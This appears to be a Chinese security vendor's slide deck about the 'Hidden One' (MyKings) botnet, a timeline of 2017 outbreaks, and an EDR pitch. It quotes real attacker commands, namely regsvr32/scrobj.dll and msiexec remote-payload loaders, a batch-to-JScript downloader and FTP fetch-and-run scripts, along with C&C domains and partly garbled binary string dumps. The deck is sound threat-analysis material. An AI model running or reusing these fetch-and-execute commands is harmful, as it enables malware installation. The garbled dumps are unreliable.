

# 代码战争的主阵地：来自终端的威胁情报详述

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- 2017/2/2 : “Mirai”物联网病毒变种
  - <https://securelist.com/newish-mirai-spreader-poses-new-risks/77621/>
- 2017/4/14 : 微软针对“Shadow Brokers”泄漏漏洞发布Blog
  - <https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/>
- 2017/5/12 : 勒索病毒“Wannacry”席卷全球
  - <https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>
- 2017/5/15 : 报道称发现利用“EternalBlue”入侵服务器挖矿
  - <https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar>
- 2017/5/17 : 报道称中国黑客利用“EternalBlue”传播后门
  - <https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/>
- 2017/6/27 : 新“Petya”病毒通过泄漏漏洞卷土重来
  - [https://en.wikipedia.org/wiki/Petya\\_\(malware\)](https://en.wikipedia.org/wiki/Petya_(malware))



# “隐匿者”

一个“低调”的黑客组织

# 终端威胁信息感知

远程脚本运行

```
"C:\Windows\System32\regsvr32.exe" /u /s /i: http://js.mykings.top:280/v.sct scrobj.dll
```

运行远程MSI安装包

```
"C:\Windows\System32\msiexec.exe" /i http://js.mykings.top:280/helloworld.msi /q
```

```
cmd /c echo=1/*>nul>>c:\az1.bat&echo @cls>>c:\az1.bat&echo echo off>>c:\az1.bat&echo call :http  
"http://www.qianliyan.xz.cn/js/a.exe" "c:\a.exe">>c:\az1.bat&echo start c:\a.exe>>c:\az1.bat&echo :http>>c:\az1.bat&echo  
cscript -nologo -e:jscript "%~f0" "%~1" "%~2">>c:\az1.bat&echo goto :eof>>c:\az1.bat&echo */>>c:\az1.bat&echo var  
iLocal,iRemote,xPost,sGet;>>c:\az1.bat&echo iLocal =WScript.Arguments(1);>>c:\az1.bat& echo iRemote =  
WScript.Arguments(0);>>c:\az1.bat& echo iLocal=iLocal.toLowerCase();>>c:\az1.bat&echo xPost = new  
ActiveXObject("MSXML2.XMLHTTP.3.0");>>c:\az1.bat&echo xPost.Open("GET",iRemote,0);>>c:\az1.bat&echo  
xPost.Send();>>c:\az1.bat&echo sGet = new ActiveXObject("ADODB.Stream");>>c:\az1.bat&echo sGet.Mode =  
3;>>c:\az1.bat&echo sGet.Type = 1;>>c:\az1.bat& echo sGet.Open();>>c:\az1.bat& echo  
sGet.Write(xPost.responseBody);>>c:\az1.bat&echo sGet.SaveToFile(iLocal,2);>>c:\az1.bat& echo  
sGet.Close();>>c:\az1.bat&c:\az1.bat&del /f c:\az1.bat
```

隐藏执行可疑脚本

命令行脚本启动FTP

```
C:\Windows\system32\cmd.EXE /c echo open ftp.oo000oo.me>p&echo  
test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo  
bye>>p&ftp -s:p
```


黑客入侵拦截

```
124.173.120.205 : 3882 [ China Guangdong Guangzhou ]
```

恶意网址拦截

```
5b6b7b.ru
```

# 威胁信息聚合 — 发现“隐匿者”



# “隐匿者” 域名的相似性

► 顶级域名命名方式相似 ► 二级域名按C&C功能命名

- mykings
- mykings.top
- mykings.pw
- mys2016.info

- |                    |                   |                     |
|--------------------|-------------------|---------------------|
| ● wmi.mykings.top  | ● js.mykings.top  | ● down.mys2016.info |
| ● wmi.oo000oo.club | ● js.mys2016.info | ● down.mykings.pw   |
| ● wmi.5b6b7b.ru    | ● js.mykings.pw   | ● down.f4321y.com   |
|                    | ● js.f4321y.com   | ● down.oo000oo.club |
|                    | ● js.oo000oo.club |                     |
|                    | ● js.5b6b7b.ru    |                     |



## “隐匿者”攻击的同源性

[illegible]

```
[0007f854: UserScripting.SolemnC...
[0007f864: WebServer
[0007f868: ConnectServer
[0007f86c: activateScriptEngineConsumer
[0007f94: get
[0007f9cc: SpawnInstance
[0007f9dc: argvvommel_consumer
[0007f154: Name
[0007f168: Jscript
[0007f178: ScriptingEngine
[0007f190: var ttf=5089;var url =
[0007f194:"http.open","get",url)
["taskkill /f /im * + proc, & true;if (%
[0007f19c,"root\\cmd.exe"] var coltmeserveride
(captionName="rundll32.exe").Terminate()
["Microsoft.WindowsMT"],addNew ActiveXObject
"http.open","get",url),http.open("
down","http://www.createjs.org/assets/js/cra
scrub.js"),http.createjs.rundll32.exe c
error dxvk
error dxvk
dx-vms-form-urlencoded
error dxvk
or dxvk
ailed dxvk
ProductionVersion
on running.
%LOCAL% local:%s, needs update.
Blog //blog.f0x0r.com/2020/mid.html
CreateUpdateThread error: dxvk
```

```
[U] 0007F014: WbemScripting.SiBemLocator
[U] 0007F064: root\subscription
[U] 0007F080: ActiveServer
[U] 0007F080: ActiveScriptEventConsumer
[U] 0007F084: Get
[U] 0007F08C: SpawnInstance_
[U] 0007F12C: fuckyoum2_consumer
[U] 0007F154: Name
[U] 0007F160: DScript
[U] 0007F170: ScriptEngine;
[U] 0007F190: var toff=3000;var url=
["\script.shell"];open(GET,"url");
["taskkill /f /in + proc, 0, true];if
["","/root/crim2"];var coltmes.service
(p.Caption="rundll32.exe").p.Terminate(
["Microsoft.XULHTP",add=new ActiveObjec
["3"]);open(GET,"GET",1),[url].send();
WSHON.Ctrl).pp.create(regsvr32 /s scrr
scrob1.dll).pp.create(rundll32.exe,ex
```

[illegible]

```
[A] 00000118: Created task.
[A] 00000120: Failed calling Save, error = 0x0x
[A] 0000014c: Failed calling QueryInterface, error = 0x0x
[A] 0000017c: Failed calling SetAccountInformation, error = 0x0x
[A] 00000194: Content-type: application/x-www-form-urlencoded
[A] 000001e0: GET
[A] 000001e4: c:\windows\system
[A] 000001f0: Accept: */*
[A] 0000020c: SebebugPrivilege
[A] 00000220: start service %d.
[A] 00000234: schedule
[A] 0000024a: umerge %s failed
[A] 00000258: bundle %s success
[A] 0000026c: make %s file failed
[A] 00000284: %s%s
[A] 0000029c: c:\windows\system\
[A] 000002b0: fopen %s failed
[A] 000002d8: .bat
[A] 000002e0: .exe
[A] 000002f8: CreateProcess %s %s,Error: %d
[A] 00000310: 失败
[A] 00000320: 成功
[A] 0000032c: c:\windows\system\info.exe
[A] 00000338: -create -ui
[A] 00000324: msinfo.exe
[A] 00000334: .jpg
[A] 0000033c: %s OK.
[A] 00000344: schtasks
[A] 00000350: /delete /f /tn msinfo
[A] 00000368: *** proc name: %s ***;hprocess: 0x0000, error: %d
[A] 00000380: fopen(%s) failed
[A] 0000039c: c:\windows\system\uploadlist.txt
[A] 000003d0: %StringIleInfo%0x00404%ProductVersion
[A] 00000404: VarIleInfo\Translation
[A] 00000410: c:\windows\system\info.exe is the same as web. don't
[A] 00000424: ver different web's local'sk, needs update.
[A] 00000440: get mds failed.
[A] 00000450: /ver.txt
[A] 00000464: get file list failed,exit.
[A] 00000470: http://%s:8888/upload/
```

```
C:\WINDOWS\system32\cmd.exe" /k cd c:\Program-1\mainsoft&& c:\Program-1\shengda&& c:\windows\java&& c:\Program-1\mudco2018&& c:\download\attrib +s +h c:\download\echo
open down.mykings.pw>c:\windows\debug\msinfo.bat&echo mssal2>c:\windows\debug\
info.data&echo 1433>c:\windows\debug\msinfo.bat&echo get bsy.rar c:\windows\downl
o&ss.exe -i -s:c:\windows\debug\msinfo.bat>c:\windows\debug\msinfo.bat&echo start
ftp.exe -i -s:c:\windows\debug\msinfo.bat>c:\windows\debug\msinfo.bat&echo start c:\
\windows\debug\bss.exe>c:\windows\debug\msinfo.bat&echo del c:\windows\downl
o&ss.exe -i -s:c:\windows\debug\msinfo.bat&echo del c:\windows\debug\msinfo.bat>c:
\windows\debug\msinfo.bat&echo exit>c:\windows\debug\msinfo.bat&start c:\windows
\debug\msinfo.bat
```

# 相关安全事件

## 曾被披露的安全事件

► C&C域名

► 域名注册时间

► 火绒拦截的首次攻击时间

- f4321y.com
- mykings.pw
- mykings.top

- 2016-05-11
- 2017-01-21
- 2017-01-21

- 2016-11-24 15:13:20
- 2017-01-22 21:30:04
- 2017-04-29 12:06:17

## 未被披露的安全事件



- 5b6b7b.ru
- mys2016.info
- oo000oo.club

- 2017-01-21
- 2017-03-13
- 2017-05-23

- 2017-05-26 07:56:10
- 2017-04-02 15:36:42
- 2017-05-25 06:54:10



# “隐匿者” 攻击分布





# 终端安全的意义

代码战争的主阵地


# 终端检测与响应 — EDR

- Endpoint Detection and Response
  - 终端检测 ( Detection )
    - 在终端安置“探针”，感知威胁信息
    - 在云端或企业内网搭建威胁信息处理平台，聚合终端感知到的威胁信息
  - 终端响应 ( Response )
    - 厂商下发针对不同威胁的响应策略
    - 终端用户可自主定制针对特定威胁的响应策略
- 由宏观视角聚焦高价值威胁，优化传统威胁分析模式

# 终端检测 ( Detection )

- 基于终端环境的行为检测/感知
  - 恶意代码模块化、协同工作、依赖终端环境，类APT攻击手段
- 基于攻击上下文的威胁检测/感知
  - 不仅知道发生了什么，更可以知道如何发生
- 基于真实威胁的关联样本/IOC捕获
  - 有效产生终端响应 ( Response )

# 终端检测&响应体系





# 终端响应 ( Response ) — 终端防御体系



“安全”正在回归终端？

“安全”从未离开终端！

The background is a dark blue gradient. A bright blue diagonal streak runs from the bottom left towards the top right. In the bottom left corner, there is a glowing grid pattern of small squares, each containing a small blue light. The word "Thanks" is centered in the middle of the image in a white, bold, sans-serif font.

**Thanks**